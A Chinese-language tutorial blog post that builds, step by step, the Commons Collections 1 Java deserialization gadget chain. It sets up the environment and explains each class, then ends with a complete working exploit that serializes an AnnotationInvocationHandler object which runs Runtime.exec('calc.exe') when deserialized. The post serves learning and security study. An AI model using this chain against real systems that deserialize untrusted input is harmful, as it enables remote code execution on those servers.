CC链

Java反序列化

环境要求

• CommonsCollections <= 3.2.1

• java < 8u71（我使用的是）

java8u65

环境链接先不放，在配置环境的时候遇到一件很神奇的事：

下面是oracle的java8存档地址，真的很神，第一个链接是中文的，当你使用Ctrl + F去找java8u65（第8个版本的第六十五次更新）的时候，下载的是java8u111，我以为只有一个是不对的，多试了几个都不对。

https://www.oracle.com/cn/java/technologies/javase/javase8-archive-downloads.html

https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html

因为只是使用java运行，不需要配置环境变量，只需要在idea中修改项目结构中的解释器目录。

此外，还需要配置一下源码

https://hg.openjdk.org/jdk8u/jdk8u/jdk/rev/af660750b2f4

在左边侧栏下载压缩包，打开压缩包，找到以下目录

解压目录\src\share\classes\sun

复制sun包中的内容到java8u65的src目录中，默认是没有src目录的，解压该目录中的src.zip文件，在idea项目结构中sourcepath，导入src目录。

CommonsCollections

在idea创建maven项目，配置文件pom.xml中添加，junit是用于测试的

<dependencies>
        <dependency>
            <groupId>commons-collections</groupId>
            <artifactId>commons-collections</artifactId>
            <version>3.2.1</version>
        </dependency>
        <dependency>
            <groupId>junit</groupId>
            <artifactId>junit</artifactId>
            <version>4.13.2</version>
            <scope>test</scope>
        </dependency>
    </dependencies>

环境配置完毕，应该没有了吧，。

ysoserial中给到的链子

/*
	Gadget chain:
		ObjectInputStream.readObject()
			AnnotationInvocationHandler.readObject()
				Map(Proxy).entrySet()
					AnnotationInvocationHandler.invoke()
						LazyMap.get()
							ChainedTransformer.transform()
								ConstantTransformer.transform()
								InvokerTransformer.transform()
									Method.invoke()
										Class.getMethod()
								InvokerTransformer.transform()
									Method.invoke()
										Runtime.getRuntime()
								InvokerTransformer.transform()
									Method.invoke()
										Runtime.exec()

	Requires:
		commons-collections
 */

看不懂也不要慌，遇事不要慌。一步一步来。

InvokerTransformer.transform()

找到org.apache.commons.collections.transformer接口

public interface Transformer {
    public Object transform(Object input);
}

ctrl + alt + b或者ctrl + h
寻找向下的继承类

找到个org.apache.commons.collections.functors.InvokerTransformer的类

InvokerTransformer.java实现了transformer接口

public Object transform(Object input) {
    if (input == null) {
        return null;
    }
    try {
        Class cls = input.getClass();
        Method method = cls.getMethod(iMethodName, iParamTypes);
        return method.invoke(input, iArgs);
        
    } catch (NoSuchMethodException ex) {
        throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
    } catch (IllegalAccessException ex) {
        throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
    } catch (InvocationTargetException ex) {
        throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
    }
}

try语句中使用反射，尝试调用了transform方法接受的对象的方法，因为是使用的getMethod方法，所以调用公共方法才不会报错。

调用的函数参数iMethodName，iParamTypes，iArgs，都可以在实例化InvokerTransformer类时传入。

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
    super();
    iMethodName = methodName;
    iParamTypes = paramTypes;
    iArgs = args;
}

我们可以尝试一下执行命令：

Runtime.getRuntime().exec("calc.exe")

将Runtime.getRuntime()对象传入，满足以下条件。

梳理

methodName == exec 函数名
Object input == Runtime.getRuntime() 执行函数的对象
paramTypes == String.class 函数参数的类型
args == "calc.exe" 函数实参

payload升级：

@Test
public void test1() throws IOException, ClassNotFoundException {
    InvokerTransformer invokerTransformer = new InvokerTransformer("exec",
            new Class[]{String.class},
            new Object[]{"calc.exe"});

    invokerTransformer.transform(Runtime.getRuntime());
}

弹出计算机为成功

TranformedMap.checkSetValue()

alt+F7查看用法

org.apache.commons.collections.map.TranformedMap

TranformedMap.java找到了三个方法调用了transform方法

protected Object checkSetValue(Object value) {
        return valueTransformer.transform(value);
    }

    protected Object transformKey(Object object) {
        if (keyTransformer == null) {
            return object;
        }
        return keyTransformer.transform(object);
    }

    protected Object transformValue(Object object) {
        if (valueTransformer == null) {
            return object;
        }
        return valueTransformer.transform(object);
    }

三个方法属性都是protected，对同一包内的类和所有子类可见。

三个方法中选择checkSetValue()，为社么不用其他两个呢，其他两个查找用法，没有找到合适的调用类。

找到对参数进行赋值的地方，是TransformedMap类的构造函数，构造函数属性为protected，对同一包内的类和所有子类可见。

protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        super(map);
        this.keyTransformer = keyTransformer;
        this.valueTransformer = valueTransformer;
    }

寻找其他构造方法或者调用TransformedMap的方法。

在同一个类中找到方法

public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        return new TransformedMap(map, keyTransformer, valueTransformer);
    }

现在我们有了办法构造参数，但是无法调用TransformedMap.checkSetValue()方法，继续查找用法。

AbstractInputCheckedMapDecorator

AbstractInputCheckedMapDecorator.java

static class MapEntry extends AbstractMapEntryDecorator {

        /** The parent map */
        private final AbstractInputCheckedMapDecorator parent;

        protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
            super(entry);
            this.parent = parent;
        }

        public Object setValue(Object value) {
            value = parent.checkSetValue(value);
            return entry.setValue(value);
        }
    }

继承关系如下

MapEntry <= AbstractMapEntryDecorator

MapEntry类的父类AbstractMapEntryDecorator是抽象类，抽象类不能被实例化，但是可以有构造方法。这里在MapEntry类中构造方法，super(entry)实际上是AbstractMapEntryDecorator的构造方法。

protected final Map.Entry entry;

	public AbstractMapEntryDecorator(Map.Entry entry) {
        if (entry == null) {
            throw new IllegalArgumentException("Map Entry must not be null");
        }
        this.entry = entry;
    }

梳理一下

MapEntry.class == AbstractMapEntryDecorator.entry == Map.Entry.class
    MapEntry.setValue(Object value)
        TransformedMap.decorate(Map map, Transformer keyTransformer, Transformer valueTransformer)
        TranformedMap.checkSetValue(Object value)
                invokerTransformer.transform(Object input);

valueTransformer == invokerTransformer
value == Runtime.getRuntime()

三个Object是连续的传递，至于MapEntry如何得到呢？Map通过entrySet()方法可以获取Map.Entry

升级：

@Test
    public void test2() throws IOException, ClassNotFoundException {
        // MapEntry.setValue() ==>  TransformedMap.checkSetValue() ==>  InvokerTransformer.transform()

        InvokerTransformer invokerTransformer = new InvokerTransformer("exec",
                new Class[]{String.class},
                new Object[]{"calc.exe"});

        HashMap<Object, Object> hashMap = new HashMap<>();
        hashMap.put("key", "value");

        // valueTransformer == invokerTransformer
        Map<Object,Object> decorated = TransformedMap.decorate(hashMap, null, invokerTransformer);


        for (Map.Entry<Object, Object> entry : decorated.entrySet()) {
//            System.out.println(entry);
            entry.setValue(Runtime.getRuntime());
        }
    }

弹出计算机为成功

AnnotationInvocationHandler

继续老办法，alt + F7查看用法。

sun.reflect.annotation.AnnotationInvocationHandler这个类刚好调用了setValue()方法，而且还刚好在readObject()方法中调用setValue()。在该类被反序列化的时候则会调用readObject()方法。

private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
        s.defaultReadObject();

        // Check to make sure that types have not evolved incompatibly

        AnnotationType annotationType = null;
        try {
            annotationType = AnnotationType.getInstance(type);
        } catch(IllegalArgumentException e) {
            // Class is no longer an annotation type; time to punch out
            throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
        }

        Map<String, Class<?>> memberTypes = annotationType.memberTypes();

        // If there are annotation members without values, that
        // situation is handled by the invoke method.
        for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
            String name = memberValue.getKey();
            Class<?> memberType = memberTypes.get(name);
            if (memberType != null) {  // i.e. member still exists
                Object value = memberValue.getValue();
                if (!(memberType.isInstance(value) ||
                      value instanceof ExceptionProxy)) {
                    memberValue.setValue(
                        new AnnotationTypeMismatchExceptionProxy(
                            value.getClass() + "[" + value + "]").setMember(
                                annotationType.members().get(name)));
                }
            }
        }
    }

我们可以看到通过entrySet()来获得Map.Entry

在到达setValue()前需要绕过两层if判断。

type，memberValues是通过构造函数可传递的参数

AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
        Class<?>[] superInterfaces = type.getInterfaces();
        if (!type.isAnnotation() ||
            superInterfaces.length != 1 ||
            superInterfaces[0] != java.lang.annotation.Annotation.class)
            throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
        this.type = type;
        this.memberValues = memberValues;
    }

Class<? extends Annotation> type是什么呢，chatgpt

Class<? extends Annotation> 可以表示任意注解的 Class 对象

Class<? extends Annotation> annotationClass = Override.class;
Class<? extends Annotation> annotationClass2 = Deprecated.class;

但它不能是 Class<Object> 或 Class<String>，因为它们不是 Annotation 的子类。

为了兼容性和稳定性，推荐使用一些java自带的注解。

if (memberType != null)

我们可以实验一下:

InvokerTransformer invokerTransformer = new InvokerTransformer("exec",
                new Class[]{String.class},
                new Object[]{"calc.exe"});

        HashMap<Object, Object> hashMap = new HashMap<>();
        hashMap.put("key", "value");

        Map<String, Object> decorated = TransformedMap.decorate(hashMap, null, invokerTransformer);

        AnnotationType annotationType = AnnotationType.getInstance(Target.class);
        Map<String, Class<?>> memberTypes = annotationType.memberTypes();
        System.out.println(memberTypes);

//输出:        {value=class [Ljava.lang.annotation.ElementType;}

绕过第一个if，需要在Map.Entry的key在对应memberTypes中有对应的值。

当Map.Entry的key为value时，值在memberTypes为class，!= null为 true，加入下列代码验证一番。

for (Map.Entry<String, Object> memberValue : decorated.entrySet()) {
            String name = memberValue.getKey();
            Class<?> memberType = memberTypes.get(name);
            if (memberType != null) {
                System.out.println(123);
            } else {
                System.out.println("456");
            }
            
// hashMap.put("key", "value") 输出456
// hashMap.put("value", "value") 输出123

if (!(memberType.isInstance(value) || value instanceof ExceptionProxy))

脑袋已经晕了，层层剖析

Object value = memberValue.getValue();
if (!(memberType.isInstance(value) || value instanceof ExceptionProxy))

//        !(memberType.isInstance(value) || value instanceof ExceptionProxy) == True
//            memberType.isInstance(value) || value instanceof ExceptionProxy == false
//            memberType.isInstance(value) == false
//            value instanceof ExceptionProxy == false

//      value 不是 memberType 类型的实例，也不是 ExceptionProxy 类型的实例

hashMap.put("value", "value")

memberValue是Map.Entry的值，也就是第二个"value"。

memberType为{value=class [Ljava.lang.annotation.ElementType;}，而"value"是一个String，已不是一个ExceptionProxy的实例。

实验一下：将之前那段for循环修改为现在的代码

for (Map.Entry<String, Object> memberValue : decorated.entrySet()) {
            String name = memberValue.getKey();
            Class<?> memberType = memberTypes.get(name);
            if (memberType != null) {
                System.out.println(123);

                Object value = memberValue.getValue();
//                System.out.println(memberType);
//                System.out.println(value);
//                System.out.println(value.getClass());

                if (!(memberType.isInstance(value) ||
                        value instanceof ExceptionProxy)) {
                    System.out.println("yes");
                } else
                    System.out.println("no");
            } else {
                System.out.println("456");
            }
        }

// 123
// yes

也就是能够执行到memberValue.setValue(),但是参数并不是我们能控制的。

有没有参数不重要，返回的值是一样的Transformer？

ConstantTransformer

org.apache.commons.collections.functors.ConstantTransformer

public ConstantTransformer(Object constantToReturn) {
        super();
        iConstant = constantToReturn;
    }

	public Object transform(Object input) {
        return iConstant;
    }

梳理一下

MapEntry.class == AbstractMapEntryDecorator.entry == Map.Entry.class
    MapEntry.setValue(Object value)
        TransformedMap.decorate(Map map, Transformer keyTransformer, Transformer valueTransformer)
        TranformedMap.checkSetValue(Object value)
			   ConstantTransformer(Runtime.getRuntime())
                ConstantTransformer.transform(Object input)
                

valueTransformer == ConstantTransformer
value == 不重要

调用transform方法的返回值是实例化时传入的参数constantToReturn，但是最后无法执行到危险函数了

ChainedTransformer

最后的主角，但是脑袋已经不够用了。

org.apache.commons.collections.functors.ChainedTransformer

public ChainedTransformer(Transformer[] transformers) {
        super();
        iTransformers = transformers;
    }

    public Object transform(Object object) {
        for (int i = 0; i < iTransformers.length; i++) {
            object = iTransformers[i].transform(object);
        }
        return object;
    }

从第0个开始，调用每一个iTransformers的transform()。

参数则是上一次transform()处理后的object。

我们需要将Runtime.getRuntime()作为invokerTransformer.transform()的参数，这里又回到了最初了，常回家看看，回家看看。所以我们需要将ConstantTransformer作为第一个

ChainedTransformer.transform()传入什么作为参数都不重要。我们可以看看循环过程：

第一次运行：
iTransformers[0].transform(object);
return Runtime.getRuntime();

第二次运行:
invokerTransformer.transform(Runtime.getRuntime());
是不是就可以执行了呢

似乎一切都说通了。

问题一

AnnotationInvocationHandler是default类型，在同一包内可见。需要用到反射来初始化。

@Test
    public void test2_1() throws Exception {
        ConstantTransformer constantTransformer = new ConstantTransformer(Runtime.getRuntime());
        InvokerTransformer invokerTransformer = new InvokerTransformer
                ("exec",
                        new Class[]{String.class},
                        new Object[]{"calc.exe"});

        ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{constantTransformer, invokerTransformer});

        // 生成MapEntry
        HashMap<Object, Object> hashMap = new HashMap<>();
        hashMap.put("value", "value");

        //  chainedTransformer 代替了最初的 invokerTransformer
        Map<String, Object> decorated = TransformedMap.decorate(hashMap, null, chainedTransformer);

        // 实例化AnnotationInvocationHandler
        Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        Object o = constructor.newInstance(Target.class, decorated);

        serializable(o);
        unserializable("ser.bin");
    }

问题二

意外蛊出现了

java.io.NotSerializableException: java.lang.Runtime

Runtime没有继承Serializable接口，所以不能直接被反序列化。

救星：Class可以被反序列化，再次使用反射。

public final class Class<T> implements java.io.Serializable

chainedTransformer构造

代码格式是错误的，只是一个解释，不必按照代码解释。

Runtime.getRuntime().exec()

new ConstantTransformer(Runtime.class).transform()
return  Runtime.class

//执行 "getMethod"获取到Runtime.class的"getRuntime()
invokerTransformer.transform(Runtime.class)
return Method Runtime.getRuntime()
返回的是Method类的对象

// 使用Invoke调用Runtime.getRuntime()
invokerTransformer.transform(Method Runtime.getRuntime())
return Method Runtime.getRuntime().invoke();
//执行Runtime.getRuntime().exec()。参数则通过后的返回结果，即：
	currentRuntime;

//执行exec()
invokerTransformer.transform(currentRuntime);
执行currentRuntime.exec()，也就是Runtime.getRuntime().exec()。参数则通过实例化InvokerTransformer时传递。

需要注意的是实例化InvokerTransformer的时候，参数依次为

iMethodName        iParamTypes        iArgs
方法名				传入方法的参数的类型	传入方法的参数

完整代码

@Test
    public void test2_1() throws Exception {

//        Class<Runtime> clazz = Runtime.class;
//
//        Method getRuntimeMethod = clazz.getMethod("getRuntime", null);
//        Object o = getRuntimeMethod.invoke(null, null);
//
//        Method execMethod = clazz.getMethod("exec", String.class);
//        execMethod.invoke(o, "calc.exe");

        ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
                new ConstantTransformer(Runtime.class),
                //  Class<Runtime> clazz
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                // 得到  Method getRuntimeMethod
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                // 得到 Object o
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"})
        });

        HashMap<Object, Object> hashMap = new HashMap<>();
        hashMap.put("value", "value");

        // valueTransformer == invokerTransformer
        Map<String, Object> decorated = TransformedMap.decorate(hashMap, null, chainedTransformer);

        Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        Object o = constructor.newInstance(Target.class, decorated);
        serializable(o);
        unserializable("ser.bin");
    }

注释是为了自己看的明白过程。